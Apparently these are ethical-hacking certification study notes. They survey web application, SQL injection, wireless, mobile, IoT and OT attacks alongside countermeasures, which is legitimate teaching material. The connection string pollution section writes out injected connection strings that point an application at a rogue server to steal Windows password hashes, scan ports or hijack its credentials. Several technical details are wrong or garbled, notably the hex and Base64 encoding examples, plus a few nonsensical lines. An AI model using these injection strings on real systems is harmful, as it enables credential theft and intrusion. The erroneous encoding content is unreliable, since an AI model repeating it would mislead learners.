The attacker parses the connection string by using a "last one wins" algorithm, and substitutes the hostile input for a legitimate value.

Connection String Parameter Pollution (CSPP) Attacks

- In CSPP attacks, attackers overwrite parameter values in the connection string.
- **Hash Stealing**:
    - Attacker replaces the value of Data Source parameter with that of a Rogue Microsoft SQL Server connected to the Internet running a sniffer.
    - Data source = SQL2005; initial catalog = db1; integrated security=no; user id =;Data Source=Rogue Server;Password=;Integrated Security=true;
      the parameters "Data Source" and "Integrated Security" are overwritten.
    - Attacker will then sniff Windows credentials (password hashes) when the application tries to connect to Rogue_Server with the Windows credentials it's running on.
- **Port Scanning**:
    - Attackers try to connect to different ports by changing the value and seeing the error messages obtained.
    - Data source = SQL2005; initial catalog = db1; integrated security=no; user id =;Data Source=Target Server, Target Port=443;Password=;Integrated Security=true;
      the connection string will take the last set "Data Source" parameter; the web application will try to connect to "Target Port" on the "Target Server" machine.
- **Hijacking Web Credentials**:
    - Attacker tries to connect to the database by using the Web Application System account instead of a user-provided set of credentials.
    - Data source = SQL2005; initial catalog = db1; integrated security=no; user id =;Data Source=Target Server, Target Port;Password=;Integrated Security=true;
      The attacker overwrites the "integrated security" parameter with a value equal to "true."

Connection Pool DoS

- Attacker examines the connection pooling settings of the application, constructs a large malicious SQL query, and runs multiple queries simultaneously to consume all connections in the connection pool, causing database queries to fail for legitimate users.
- **Example**: By default in ASP.NET, the maximum allowed connections in the pool is 100 and timeout is 30 seconds.

- Thus, an attacker can run 100 multiple queries with 30+ seconds execution time within 30 seconds to cause a connection pool DoS such that no one else would be able to use the database-related parts of the application.

Web App Hacking Methodology - Attack Web App Client

- Attackers interact with the server-side applications in unexpected ways in order to perform malicious actions against the end users and access unauthorized data.
- **Cross-Site Scripting**: An attacker bypasses the clients ID's security mechanism and obtains access privileges, and then injects malicious scripts into the web pages of a website. These malicious scripts can even rewrite the HTML content of the website.
- **HTTP Header Injection**: Attackers splits an HTTP response into multiple responses by injecting a malicious response in an HTTP header. By doing so, attackers can deface websites, poison the cache, and trigger cross-site scripting.
- **Request Forgery Attack**: In a request forgery attack, attackers exploit the trust of a website or web application on a user's browser. The attack works by including a link on a page, which takes the user to an authenticated website.
- **Privacy Attacks**: A privacy attack is tracking performed with the help of a remote site by employing a leaked persistent browser state.
- **Redirection Attacks**: Attackers develop codes and links that resemble a legitimate site that a user wants to visit; however, in so doing, the URL redirects the user to a malicious website on which attackers could potentially obtain the user's credentials and other sensitive information.
- **Frame Injection**: When scripts do not validate their input, attackers inject codes through frames. This affects all the browsers and scripts, which do not validate untrusted input. These vulnerabilities occur in HTML pages with frames. Another reason for this vulnerability is that web browsers support frame editing.
- **Session Fixation**: Session fixation helps attackers hijack valid user sessions. They authenticate themselves using a known session ID, and then use the already known session ID to hijack a user-validated session. Thus, attackers trick the users into accessing a genuine web server using an existing session ID value.
- **ActiveX Attacks**: Attackers lure victims via email or via a link that attackers have constructed in such a way that loopholes of remote execute code become accessible, allowing the attackers to obtain access privileges equal to that of an authorized user.

Web App Hacking Methodology - Attack Web Services

- Web services work atop the legacy web applications, and any attack on web service will immediately expose an underlying application's business and logic vulnerabilities for various attacks.
- Various types of attacks used to attack web services are:
    - SOAP Injection
    - XML Injection
    - WSDL Probing Attacks
    - Information Leakage
    - Application Logic Attacks
    - Database Attacks

Web Services Probing Attacks

1. The attacker traps the WSDL document from web service traffic and analyzes it to determine the purpose of the application, functional break down, entry points, and message types.
2. Attacker then creates a set of valid requests by selecting a set of operations, and formulating the request messages according to the rules of the XML Schema that can be submitted to the web service.
3. Attacker uses these requests to include malicious contents in SOAP requests and analyzes errors to gain a deeper understanding of potential security weaknesses.

Web Service Attacks: SOAP Injection

- Attacker injects malicious query strings in the user input field to bypass web services authentication mechanisms and access backend databases.
- This attack works similarly to SQL Injection attacks.

Simple Object Access Protocol (SOAP) is a lightweight and simple XML-based protocol designed to exchange structured and type information on the web.

Web Service Attacks: XML Injection

- Attackers inject XML data and tags into user input fields to manipulate XML schema or populate XML database with bogus entries.

- XML injection can be used to bypass authorization, escalate privileges, and generate web services DoS attacks.

Web applications sometimes use XML to store data such as user credentials in XML documents.

Web Services Parsing Attacks

- Parsing attacks exploit vulnerabilities and weaknesses in the processing capabilities of the XML parser to create a denial-of-service attack or generate logical errors in web service request processing.
- **Recursive Payloads**: Attacker queries for web services with a grammatically correct SOAP document that contains infinite processing loops resulting in exhaustion of XML parser and CPU resources.
- **Oversize Payloads**: Attackers send a payload that is excessively large to consume all systems resources rendering web services inaccessible to other legitimate users.

Parsing is possible when the attacker executes the .bat (batch) or .cmd (command) files.

Web Service Attack Tools: SoapUI and XMLSpy

- **SoapUI**:
  - SoapUI is a web service testing tool which supports multiple protocols such as SOAP, REST, HTTP, JMS, AMF, and JDBC.
  - Attackers can use this tool to carry out web services probing, SOAP injection, XML injection, and web services parsing attacks.
- **XMLSpy**:
  - Altova XMLSpy is the XML editor and development environment for modeling, editing, transforming, and debugging XML-related technologies.

Web Application Attack - Countermeasures

Encoding Schemes

- Web applications employ different encoding schemes for their data to safely handle unusual characters and binary data in the way you intend.
- **Types of Encoding Schemes**:
    - **URL Encoding**:
        - URL encoding is the process of converting URL into valid ASCII format so that data can be safely transported over HTTP.
        - URL encoding replaces unusual ASCII characters with "%" followed by the character's two-digit ASCII code expressed in hexadecimal such as:
            - %3d =
            - %0a New Line
            - %20 space
    - **HTML Encoding**:
        - An HTML encoding scheme is used to represent unusual characters so that they can be safely combined within an HTML document.
        - It defines several HTML entities to represent particularly usual characters such as:
            - & &
            - < <
            - > >
    - **Unicode Encoding**:
        - 16 bit Unicode Encoding: It replaces unusual Unicode characters with "%u" followed by the character's Unicode code point expressed in hexadecimal
            - %u2215 /
        - UTF-8: It is a variable-length encoding standard which uses each byte expressed in hexadecimal and preceded by the % prefix.
            - %c2%a9
            - %e2%89%a0
    - **Base64 Encoding**:
        - Base64 encoding scheme represents any binary data using only printable ASCII characters.
        - Usually it is used for encoding email attachments for safe transmission over SMTP and also used for encoding user credentials.
        - **Example**:
            - cake 01100011 01100001 01101011 01100101

        - Base64 Encoding: 011000 110110 000101 101011 011001 010000 000000 000000
    - **Hex Encoding**:
        - The HTML encoding scheme uses the hex value of every character to represent a collection of characters for transmitting binary data.
        - **Example**:
            - Hello A125C458D8
            - Tanya 123B684AD9

How to Defend Against SQL Injection Attacks

- Limit the length of user input
- Use custom error messages
- Monitor DB traffic using an IDS, WAF
- Disable commands like xp_cmdshell
- Isolate database server and web server
- Always use method attribute set to POST and low privileged account for DB connection
- Run database service account with minimal rights
- Move extended stored procedures to an isolated server
- Use typesafe variables or functions such as IsNumeric to ensure type safety
- Validate and sanitize user inputs passed to the database

How to Defend Against Command Injection Flaws

- Perform input validation
- Escape dangerous characters
- Use language-specific libraries that avoid problems due to shell commands
- Perform input and output encoding
- Use a safe API which avoids the use of the interpreter entirely
- Structure requests so that all supplied parameters are treated as data, rather than potentially executable content
- Use parameterized SQL queries
- Use modular shell disassociation from kernel

How to Defend Against XSS Attacks

- Validate all headers, cookies, query strings, form fields, and hidden fields (i.e., all parameters) against a rigorous specification.
- Use a web application firewall to block the execution of malicious script.
- Encode input and output and filter Metacharacters in the input.
- Filtering script output can also defeat XSS vulnerabilities by preventing them from being transmitted to users.
- Use testing tools extensively during the design phase to eliminate such XSS holes in the application before it goes into use.
- Convert all non-alphanumeric characters to HTML character entities before displaying the user input in search engines and forums.
- Do not always trust websites that use HTTPS when it comes to XSS.
- Develop some standard or signing scripts with private and public keys that actually check to ascertain that the script introduced is really authenticated.

How to Defend Against DoS Attack

- Configure the firewall to deny external Internet Control Message Protocol (ICMP) traffic access.
- Secure the remote administration and connectivity testing.
- Prevent use of unnecessary functions such as gets, strcpy, and return addresses from overwritten etc.
- Prevent the sensitive information from overwriting.
- Perform thorough input validation.
- Data processed by the attacker should be stopped from being executed.

How to Defend Against Web Services Attack

- Configure WSDL Access Control Permissions to grant or deny access to any type of WSDL-based SOAP messages.
- Use document-centric authentication credentials that use SAML.
- Use multiple security credentials such as X.509 Cert, SAML assertions and WS-Security.
- Deploy web services - capable firewalls capable of SOAP and ISAPI level filtering.
- Configure firewalls/IDS systems for a web services anomaly and signature detection.
- Configure firewalls/IDS systems to filter improper SOAP and XML syntax.
- Implement centralized inline requests and responses schema validation.
- Block external references and use prefetched content when dereferencing URLs.
- Maintain and update a secure repository of XML schemas.

Guidelines for Secure CAPTCHA Implementation

- The client should not have direct access to the CAPTCHA solution.
- No CAPTCHA reuse and present randomly distorted CAPTCHA image of text to the user.
- Use a well-established CAPTCHA implementation such as reCAPTCHA instead of creating your own CAPTCHA script and allow users to choose an audio or sound CAPTCHA.
- Warp individual letters so that OCR engines cannot recognize them.
- Include random letters in the security code to avoid dictionary attacks.
- Encrypt all communications between the website and the CAPTCHA system.
- Use multiple fonts inside a CAPTCHA to increase the complexity of OCR engines to solve the CAPTCHA.

Web Application Attack Countermeasures

- **Unvalidated Redirects and Forwards**:
    - Avoid using redirects and forwards.
    - If destination parameters cannot be avoided, ensure that the supplied value is valid, and authorized for the user.
- **Cross-Site Request Forgery**:
    - Logoff immediately after using a web application and clear the history.
    - Do not allow your browser and websites to save login details.
    - Check the HTTP Referer header and when processing a POST, ignore URL parameters.
- **Broken Authentication and Session Management**:
    - Use SSL for all authenticated parts of the application.
    - Verify whether all the users' identities and credentials are stored in a hashed form.
    - Never submit session data as part of a GET, POST.
- **Insecure Cryptographic Storage**:
    - Do not create or use weak cryptographic algorithms.
    - Generate encryption keys offline and store them securely.
    - Ensure that encrypted data stored on disk is not easy to decrypt.
- **Insufficient Transport Layer Protection**:
    - Non-SSL requests to web pages should be redirected to the SSL page.
    - Set the 'secure' flag on all sensitive cookies.
    - Configure SSL provider to support only strong algorithms.

    - Ensure the certificate is valid, not expired, and matches all domains used by the site.
    - Backend and other connections should also use SSL or other encryption technologies.
- **Directory Traversal**:
    - Define access rights to the protected areas of the website:
    - Apply checks/hot fixes that prevent the exploitation of the vulnerability such as Unicode to affect the directory traversal.
    - Web servers should be updated with security patches in a timely manner.
- **Cookie/Session Poisoning**:
    - Do not store plain text or weakly encrypted password in a cookie.
    - Implement cookie's timeout.
    - Cookie's authentication credentials should be associated with an IP address.
    - Make logout functions available.
- **Security Misconfiguration**:
    - Configure all security mechanisms and turn off all unused services.
    - Setup roles, permissions, and accounts and disable all default accounts or change their default passwords.
    - Scan for latest security vulnerabilities and apply the latest security patches.
- **LDAP Injection Attacks**:
    - Perform type, pattern, and domain value validation on all input data.
    - Make the LDAP filter as specific as possible.
    - Validate and restrict the amount of data returned to the user.
    - Implement tight access control on the data in the LDAP directory.
    - Perform dynamic testing and source code analysis.
- **File Injection Attack**:
    - Strongly validate user input.
    - Consider implementing a chroot jail.
    - PHP: Disable allow_url_fopen and allow_url_include in php.ini.
    - PHP: Disable register_globals and use E_STRICT to find uninitialized variables.
    - PHP: Ensure that all file and streams functions (stream_*) are carefully vetted.

Introduction to SQL Injection

SQL Injection Concepts

- SQL injection is a technique used to take advantage of non-validated input vulnerabilities to pass SQL commands through a web application for execution by a backend database.
- SQL injection is a basic attack used to either gain unauthorized access to a database or to retrieve information directly from the database.
- It is a flaw in web applications and not a database or web server issue.

SQL commands used to perform operations on the database include **INSERT, SELECT, UPDATE, and DELETE.**

Why should you care about SQL Injection?

- On the basic of application used and the way it processes user supplied data, SQL injection can be used to implement the attacks mentioned below:
    - **Authentication Bypass**: Using this attack, an attacker logs onto an application without providing valid user name and password and gains administrative privileges.
    - **Information Disclosure**: Using this attack, an attacker obtains sensitive information that is stored in the database.
    - **Compromised Data Integrity**: An attacker uses this attack to deface a web page, insert malicious content into web pages, or alter the contents of a database.
    - **Compromised Availability of Data**: Attackers use this attack to delete the database information, delete log, or audit information that is stored in a database.
    - **Remote Code Execution**: It assists an attacker to compromise the host OS. MSSQL, MySQL, PostgreSQL

SQL Injection and Server-side Technologies

- **Server-side Technology**: Powerful server-side technologies like ASP.NET and database servers allow developers to create dynamic, data-driven websites with incredible ease.
- **Exploit**: The power of ASP.NET and SQL can easily be exploited by hackers using SQL injection attacks.
- **Susceptible Databases**: All relational databases, SQL Server, Oracle, IBM DB2, and MySQL, are susceptible to SQL-injection attacks.
- **Attack**: SQL injection attacks do not exploit a specific software vulnerability, instead they target websites that do not follow secure coding practices for accessing and manipulating data stored in a relational database.

Types of SQL Injection

Error-Based SQl Injection

- **UNION SQL Injection**- The UNION SELECT statement returns the union of the intended dataset with the target dataset.
- **System Stored Procedure**- The Attackers exploit databases' stored procedures to perpetrate their attacks.
- **Tautology**- This is where the attacker injects statements that are always true so that queries always return results upon evaluation of a WHERE condition.
- **End of Line Comment**- After injecting code into a particular field, legitimate code that follows is nullified through usage of end of line comments.
- **Illegal/Logically Incorrect Query**- An attacker may gain knowledge by injecting illegal/logically incorrect requests such as injectable parameters, data types, and names of tables.

Blind SQL Injection

Time Delay - The attacker will wait for the response (YES or NO Response will be received).

Boolean Exploitation

- Multiple valid statements that evaluate to true and false are supplied in the affected parameter in the HTTP request.
-
- By comparing the response page between both conditions, the attackers can infer whether or not the injection was successful.
- This technique can be useful when the pentester finds a Blind SQL Injection situation, in which nothing is known on the outcome of an operation.

SQL Injection Countermeasures

- Limit the length of user input
- Use custom error messages
- Monitor DB traffic using an IDS, WAF
- Disable commands like xp_cmdshell
- Isolate database server and web server
- Always use method attribute set to POST and low privileged account for DB connection
- Run database service account with minimal rights
- Move extended stored procedures to an isolated server
- Use typesafe variables or functions such as IsNumeric to ensure type safety
- Validate and sanitize user inputs passed to the database

Introduction to Hacking Wireless Networks

- Wi-Fi refers to wireless local area networks (WLAN) based on IEEE 802.11 standard.
- It is a widely used technology for wireless communication across a radio channel.
- Many devices such as your personal computer, video-game consoles (i.e.- XBox), smartphone, etc. use Wi-Fi to connect to a network resource such as the Internet via a wireless network access point.
- Advantages:
    - Installation is fast and easy and eliminates wiring through walls and ceilings.
    - It is easier to provide connectivity in areas where it is difficult to lay cable.
    - Access to the network can be from anywhere within range of an access point.
    - Public places like airports, libraries, schools or even coffee shops offer you constant Internet connections using Wireless LAN.
    - Elasticity of the network - allows you to scale up or down quickly based on users
- Disadvantages:
    - Security can be a big issue.
    - As the number of computers on the network increases, the wireless bandwidth may suffer.
    - Wi-Fi enhancements can require new wireless cards and/or access points.
    - Some electronic equipment can interfere with the Wi-Fi networks.

Wireless Encryption

- WEP:
    - WEP is an encryption algorithm for IEEE 802.11 wireless networks.
    - It is an old wireless security standard which can be cracked easily.
- WPA:
    - It is a wireless encryption protocol that uses TKIP, MIC, and AES encryption.
    - Uses a 48 bit IV, 32 bit CRC and TKIP encryption for wireless security.
- WPA2:
    - WPA2 uses AES and CCMP for wireless data encryption.
- EAP:
    - Supports multiple authentication methods, such as token cards, Kerberos, certificates etc.
- WPA2 Enterprise:
    - It integrates EAP standards with WPA2 encryption.
- TKIP:
    - A security protocol used in WPA as a replacement for WEP.
- CCMP: CCMP utilizes 128-bit keys, with a 48-bit initialization vector (IV) for replay detection.
- AES:
    - It is a symmetric-key encryption, used in WPA2 as a replacement of TKIP.
- RADIUS:
    - It is a centralized authentication and authorization management system.
- LEAP:
    - It is a proprietary WLAN authentication protocol developed by Cisco.

Wireless Hacking Tools you should know

Aircrack-ng

- Aircrack-ng is a network software suite consisting of a detector, packet sniffer, WEP and WPA/WPA2-PSK cracker and analysis tool for 802.11 wireless networks. This program runs under Linux and Windows.

Kismet

- It is an 802.11 Layer2 wireless network detector, sniffer, and intrusion detection system.
- It identifies networks by passively collecting packets and detecting standard named networks.
- It detects hidden networks and presence of non-beaconing networks via data traffic.

Wireless Attacks

Evil Twin Attack- The attacker sets up a fake access point with a similar name to that of a corporate AP near the company premises. When an employee unknowingly connects to this access point thinking that to be the genuine AP of the company, he/she gives away the authentication details of the original access point. The attacker, thus, is able to compromise the connection.

Jamming Attack - The attacker jams the wireless signal thereby affecting the availability of the network (i.e.- think availability from the CIA triad).

Misconfiguration Attack - The attacker takes advantage of default/weak credentials, default configuration, and/or weak encryption to compromise the AP.

Honeyspot Attack - The attacker sets up a fake access point/hotspot with the same SSID as that of a public wi-fi AP; thus, they can set traps for the users who connect to these AP's.

Ad-Hoc Connection Attack - The attacker can enable an AD-HOC connection in a user's system utilizing malware or if an employee is already using an AD-HOC connection to share the internet with peers. The attacker can compromise the connection operating in AD-HOC mode, since this mode does not provide strong encryption to the connection.

Wireless Attack Countermeasures

- Always use WPA2 encryption.
- Do not share your credentials.
- Do not open untrusted emails.
- Use IDS/Firewalls to filter the connections.
- Change the default configurations.
- Enable MAC-address filtering.
- Use centralised server for authentication.
- Do not connect to untrusted/public wifi hotspots if you can avoid it, and if you do connect to public Wi-Fi, always use a VPN.

Introduction to Mobile Hacking

<u>What can attackers do with access to your mobile device?</u>

- **Surveillance** - audio, camera, call logs, location, SMS messaging
- **Impersonation** - SMS redirection, sending email messages, posting to social media
- **Data Theft** - account details, contacts, call logs, phone number, stealing data via app vulnerabilities, stealing IMEI (international mobile equipment identity number)
- **Botnet**- launching DDOS attacks, click fraud, sending premium rate SMS messages
- **Financial**- sending premium rate SMS messages, stealing transaction authentication numbers (TANs), ransomware extortion, spoofing your phone number, fake antivirus software prompt, making expensive international calls from your account

Examples of Mobile Attacks

- Malware Attack
    - Virus and Rootkit
    - Application modification
    - OS modification
- Data Exfiltration Attack (BYOD)
    - Data leaves the organization
    - Print screen
    - Copy to USB and backup loss
- Data Tampering
    - Modification by another application
    - Undetected tamper attempts
    - Jail-broken devices
- Data Loss
    - Device loss
    - Unauthorized device access
    - Application vulnerabilities
- Availability of your device

    - Attackers overload your device, so you are unable to access the services/apps that you want.
- Reputation
    - For example, the attacker compromises your device and then your social media accounts. The attacker then damages your reputation through social media posts from your account and/or messaging to your social media contacts.
- Identity Theft
    - The attacker harvests sensitive data from your phone that allows them to compromise your identity and may lead to financial loss.

How Attackers May Infect Your Device (For Non-jailbroken devices)

Both - The attacker may send malicious links via SMS messaging (smishing attack) to get the user to click on the link. With this attack, the attacker might mention there is a discounted price coupon from stores like Best Buy or the message might be sent in the early morning hours in the hopes that the user will be too sleepy to recognize the message might be malicious in nature. It's also difficult to see the true URL of a link using a mobile device.

Android Devices − Users are typically tricked into downloading an app from the marketplace or from a third-party application that is malicious in nature. This might be done via a social engineering attack. Remote infection of the device can also be performed through a Man-in-the-Middle (MitM) attack, where an active adversary intercepts the user's mobile communications to inject the malware.

iOS Devices − iOS infection usually requires physical access to the mobile device. Infecting the device can also be through exploiting a zero-day such as the JailbreakME exploit.

Installing a backdoor

To install a backdoor requires administrator privileges by rooting Android devices and jailbreaking Apple devices. Despite device manufacturers placing rooting/jailbreaking detection mechanisms, mobile spyware can often bypass this protection.

OWASP Mobile Top 10 Risks

M1-Improper Platform Usage

M1 covers the misuse of a platform feature or the failure to use platform security controls. It might include Android intents, platform permissions, misuse of TouchID, the Keychain, or some other security control that is part of the mobile operating system. There are several ways that mobile apps can experience this risk.

M2-Insecure Data

M2 is a combination of M2 and M4 from Mobile Top Ten 2014. This covers insecure data storage and unintended data leakage.

M3-Insecure Communication

This covers poor handshakes, incorrect SSL versions, weak negotiation, and clear text communication of sensitive assets..

M4-Insecure Authentication

M4 captures the notions of authenticating the end user or bad session management. This includes:

- Failing to identify the user at all when that should be required
- Failure to maintain the user's identity when it is required
- Weaknesses in session management

M5-Insufficient Cryptography

In M5, the code applies cryptography to a sensitive information asset. However, the cryptography is insufficient in some way. Note that anything and everything related to TLS or SSL goes in M3. M5 is for issues where cryptography was attempted, but it wasn't done correctly.

M6-Insecure Authorization

This is a category to capture any failures in authorization (e.g., authorization decisions in the client side, forced browsing, etc.) It is distinct from authentication issues (e.g., device enrollment, user identification, etc.)

If the app does not authenticate the users at all in a situation where it should (e.g., granting anonymous access to some resource or service when authenticated and authorized access is required), then that is an authentication failure not an authorization failure.

M7-Client Code Quality

M7 is the “catch all” for code-level implementation problems in the mobile client. That's distinct from the server-side coding mistakes. This would capture things like buffer overflows, format string vulnerabilities, and various other code-level mistakes where the solution is to rewrite some code that's running on the mobile device.

M8-Code Tampering

This category covers binary patching, local resource modification, method hooking, method swizzling, and dynamic memory modification.

Once the application is delivered to the mobile device, the code and data resources are resident there. An attacker can either directly modify the code, change the contents of memory dynamically, change or replace the system APIs that the application uses, or modify the application's data and resources. This can provide the attacker a direct method of subverting the intended use of the software for personal or monetary gain.

M9-Reverse Engineering

This category includes analysis of the final core binary to determine its source code, libraries, algorithms, and other assets. Software such as IDA Pro, Hopper, otool, and other binary inspection tools give the attacker insight into the inner workings of the application. This may be used to exploit other nascent vulnerabilities in the application, as well as revealing information about back-end servers, cryptographic constants and ciphers, and intellectual property.

M10-Extraneous Functionality

Often, developers include hidden backdoor functionality or other internal development security controls that are not intended to be released into a production environment. For example, a developer may accidentally include a password as a comment in a hybrid app. Another example includes disabling of 2FA during testing.

Mobile Attack Countermeasures

- PIN or Password enforcement
- Encryption
- Containerization of enterprise data
- OS Compromise detections (Jailbreak and Root detections) and Quarantine
- Online selective wipe
- Offline selective wipe
- Out-of-compliance device triggers the network gateway to block access
- MDM (mobile device management)
- Awareness Training for Employees

Introduction to IoT Hacking

IoT Concepts

IoT Architecture

- Application Layer- This layer placed at the top of the stack, is responsible for the delivery of services to the respective users from different sectors like building, industrial, manufacturing, automobile, security, healthcare, etc.
- Middleware Layer- This is one of the most critical layers that operates in two-way mode. As the name suggests this layer sits in the middle of the application layer and the hardware layer, thus behaving as an interface between these two layers. It is responsible for important functions such as data management, device management and various issues like data analysis, data aggregation, data filtering, device information discovery and access control.
- Internet Layer- This is the crucial layer as it serves as the main component in carrying out the communication between two end points such as device-to-device, device-to-cloud, device-to-gateway and back-end data-sharing.
- Access Gateway Layer- This layer helps to bridge the gap between two endpoints like a device and a client. The very first data handling also takes place in this layer. It carries out message routing, message identification and subscribing.
- Edge Technology Layer- This layer consists of all the hardware parts like sensors, RFID tags, readers or other soft sensors and the device itself. These entities are the primary part of the data sensors that are deployed in the field for monitoring or sensing various phenomena. This layer plays an important part in data collection, connecting devices within the network and with the server.

Components of IoT

- Sensing Technology - Sensors embedded in the devices sense a wide variety of information from their surroundings like temperature, gases, location, industrial machines as well as sensing the health data of a patient.

- IoT Gateways- These are used to bridge the gap between the IoT device (internal network) and the end user (external network) and thus allowing them to connect and communicate with each other. The data collected by the sensors in IoT devices send the collected data to the concerned user or cloud through the gateway.

- Cloud Server/Data Storage- The collected data, after traveling through the gateway, arrives at the cloud, where it is stored and undergoes data analysis. The processed data is then transmitted to the user where they take specific action based on the information received.

- Remote Control Using Mobile App- The end user uses remote controls such as mobile phones, tabs, laptops, etc. installed with a mobile app to monitor, control, retrieve data, and take a specific action on IoT devices from a remote location.

IoT Communication Models

- **Backend Data Sharing** - This type of communication model extends the device-to-cloud communication type in which the data from the IoT devices can be accessed by authorized third parties. Here devices upload their data onto the cloud which is later accessed or analyzed by the third parties
- **Device to Cloud**- In this type of communication, devices communicate with the cloud directly rather than directly communicating with the client in order to send or receive the data or commands. It uses communication protocols such as Wi-Fi or Ethernet and sometimes uses Cellular as well.
- **Device to Device**- In this type of communication, devices that are connected interact with each other through the internet but mostly they use protocols like ZigBee, Z-Wave or Bluetooth.
- Most commonly used in the smart home devices like a thermostat, Light Bulb, Door-locks, CCTV cameras, Fridge, etc. where these devices transfer small data packets to each other at a low data rate. This model is also popular in communication between wearable devices. For example, an ECG/EKG device attached to the body of a patient will be paired to their smartphone and will send them notifications in an emergency.
- **Device to Gateway**- In this communication model, the Internet of Things device communicates with an intermediate device called a Gateway, which in turn communicates with the cloud service. This device could be a Smartphone or a Hub that is acting as an intermediate point, and also provides security features and data or protocol translation. The protocols generally used in this mode of communication are ZigBee and Z-Wave.

IoT Operating Systems

- RIOT OS- It has less resource requirements and uses energy efficiently. It has the ability to run on embedded systems, actuator boards, sensors, etc.
- ARM mbed OS- It is mostly used for low-powered devices like wearable devices.
- RealSense OS X- It is used in Intel's depth sensing technology. Therefore, it is implemented in cameras, sensors, etc.
- Nucleus RTOS- Primarily used in aerospace, medical and industrial applications.
- Brillo- It is an android based embedded OS, used in low-end devices such as thermostats.
- Contiki- It is used in low-power wireless devices such as street lighting, sound monitoring systems, etc.
- Zephyr- It is used in low power and resource constrained devices.
- Ubuntu Core- Also known as Snappy, it is used in robots, drones, edge gateways, etc.
- Integrity RTOS- Primarily used in aerospace or defense, industrial, automotive and medical sectors.
- Apache Mynewt- It supports devices that work on Bluetooth Low Energy protocol.

Challenges of IoT

- Lack of security and privacy
- Vulnerable web interfaces
- Legal regulatory and rights issues
- Default, weak, and hardcoded credentials
- Clear text protocol and unnecessary open ports
- Coding errors
- Storage issues
- Difficult to update firmware and OS
- Interoperability standard issues
- Physical theft and tampering
- Lack of vendor support for fixing vulnerabilities
- Emerging economy and development issues

IoT Attacks

IoT Attack Surface Areas

- Device memory
- Ecosystem access control
- Device physical interfaces
- Device web interface
- Device firmware
- Device network services
- Administrative interface
- Local data storage
- Cloud web interface
- Update mechanism
- Third party backend APIs
- Mobile application
- Vendor backend APIs
- Ecosystem communication
- Network traffic

IoT Framework Security Considerations

- **Edge**- The main physical device in the IoT ecosystem that interacts with its surroundings and contains various components like sensors, actuators, operating systems, hardware and network and communication capabilities. Framework consideration for this would be proper communications and storage encryption, no default credentials, strong passwords, and use of the latest up to date components.

- **Gateway**- This acts as a first step for an edge into the world of the Internet as it connects the smart devices to the cloud components. An ideal framework for this should incorporate strong encryption techniques for secure communications between endpoints.

- **Cloud Platform**- This is referred to as the main central aggregation and data management point. Access to the cloud is restricted. A secure framework for this component should include encrypted communications, strong authentication credentials, secure web interface, encrypted storage, and automatic updates.

- **Mobile**- This plays an important part particularly where the data needs to be collected and managed. Using mobile interfaces, users can access and interact with the edge in their home or workplace from miles away. An ideal framework for this interface should include a proper authentication mechanism for the user, account lockout mechanism after a certain number of failed attempts, local storage security, encrypted communication channels and the security of the data transmitted over the channel.

IoT Threats

- DDoS attacks
- Attack on HVAC systems
- Rolling code attack
- BlueBorn attack
- Jamming attack- Type of attack in which the communication between wireless IoT devices are jammed in order to compromise it. An attacker transmits radio signals randomly with a frequency as the sensor nodes are sending signals for communication. As a result the network gets jammed making endpoints unable to send or receive any message.
- Remote access using backdoor
- Remote access using Telnet
- Sybil attack
- Exploit kits
- MITM
- Replay attack- Attackers intercept legitimate messages from a valid communication and continuously send the intercepted message to the target device to perform a denial-of-service attack or delay it in order to manipulate the message or crash the
- target device.
- Forged malicious device
- Side channel attack
- Ransomware

IoT OWASP Top 10

1: Weak, guessable, or hard coded passwords
2: Insecure Network Services
3: Insecure Ecosystem Interfaces
4: Lack of Secure Update Mechanism

5: Use of Insecure or Outdated Components
6: Insufficient Privacy protection
7: Insecure Data Transfer and Storage
8: Lack of Device Management
9:Insecure Default Settings
10: Lack of Physical Hardening

IoT Hacking Methodology

- Information gathering -Tool-Shoden, Multiping
- Vulnerability scanning - Nmap, RioT
- Sniffing - Foren6
- Launch attacks with tools like Rolling Code (uses RFCrack), Hacking Zigbee (uses Attify), and BlueBorne (uses HackRF One).
- Gain Access - remote access with Telnet
- Maintain access -Exploit Firmware of device

IoT Hacking Tools

- Firmalyzer
- ChipWhisperer
- rfcat-rolljam
- KillerBee
- GATTack.io
- JTAGULATOR®
- Firmware Analysis Toolkit

IoT Attack Countermeasures

- Disable the "guest" and "demo" user accounts if enabled
- Use the "Lock Out" feature to lock out accounts for excessive invalid login attempts
- Implement strong authentication mechanism
- Locate control system networks and devices behind firewalls, and isolate them from the business network
- Implement IPS and IDS in the network
- Use VPN architecture for secure communication
- Deploy security as a unified, integrated system
- Allow only trusted IP addresses to access the device from the Internet
- Disable telnet (port 23)
- Disable UPnP port on routers

Guidelines for IoT Manufacturing Companies

- SSL/TLS should be used for communication purpose
- There should be a mutual check on SSL certificates and the certificate revocation list

- Use of strong passwords should be encouraged
- The device's update process should be simple, secured with a chain of trust
- Implementing account lockout mechanisms after certain wrong login attempts to prevent brute
- force attacks
- Lock the devices down whenever and wherever possible to prevent them from attacks
- Periodically checking the device for unused tools and using whitelisting to allow only trusted tools or applications to run.
- Use secure boot chain to verify all software that is executed on the device

Introduction to OT Hacking

OT Concepts

OT (Operational technology) - This is a term that is used to describe the hardware and software that monitors and controls physical processes, devices, and infrastructure. Operational technology systems are found across a large range of asset-intensive sectors, performing a wide variety of tasks ranging from monitoring critical infrastructure (CI) to controlling robots on a manufacturing floor. OT is used in a variety of industries including manufacturing, oil and gas, electrical generation and distribution, aviation, maritime, rail, and utilities.

ICS (Industrial Control System) - This is a general term that encompasses several types of control systems, including SCADA and DCS. The ICS consists of combinations of control components, like electrical, hydraulic, and mechanical, that act together to achieve an industrial objective (i.e.- manufacturing).

DCS (Distributed Control System) - This refers to the control achieved by intelligence that is distributed about the process to be controlled, rather than controlled by a centrally located single unit. These are often large-scale systems that are used to automate thousands of I/O points in large facilities, like chemical plants and oil and gas refineries.

SCADA (Supervisory Control and Data Acquisition) - This is a generic name for a system that is capable of gathering and processing data, and applying operational controls over long distances. The term SCADA mainly refers to a grouping of many ICS types in a wide geographic area. Examples of SCADA environments include water utilities, gas pipelines, and power transmission and distribution systems.

PLC (Programmable Logic Controllers) - This is considered the “workhorse” of the industrial automation space. The microcontroller is the brain of the PLC where the firmware and set points exist. Set points are variables that are configured for use by the running program. These are manually or dynamically changed by the state of the process.

HMI (Human-Machine Interface) - The HMI provides a graphical depiction of all of the automatic control points for a process, which is beneficial to attackers. An attacker interacting with the HMI via RDP is considered a “noisy” type of network attack, but the attacker could hide since the interaction with the HMI might look the same as an authorized operator.

OT Attacks

- Physical Attacks
- Wireless Attacks - wireless networks, ZigBee, etc
- Social Engineering
- USB
- Supply Chain - Infecting a vendor application or firmware.
- Malware
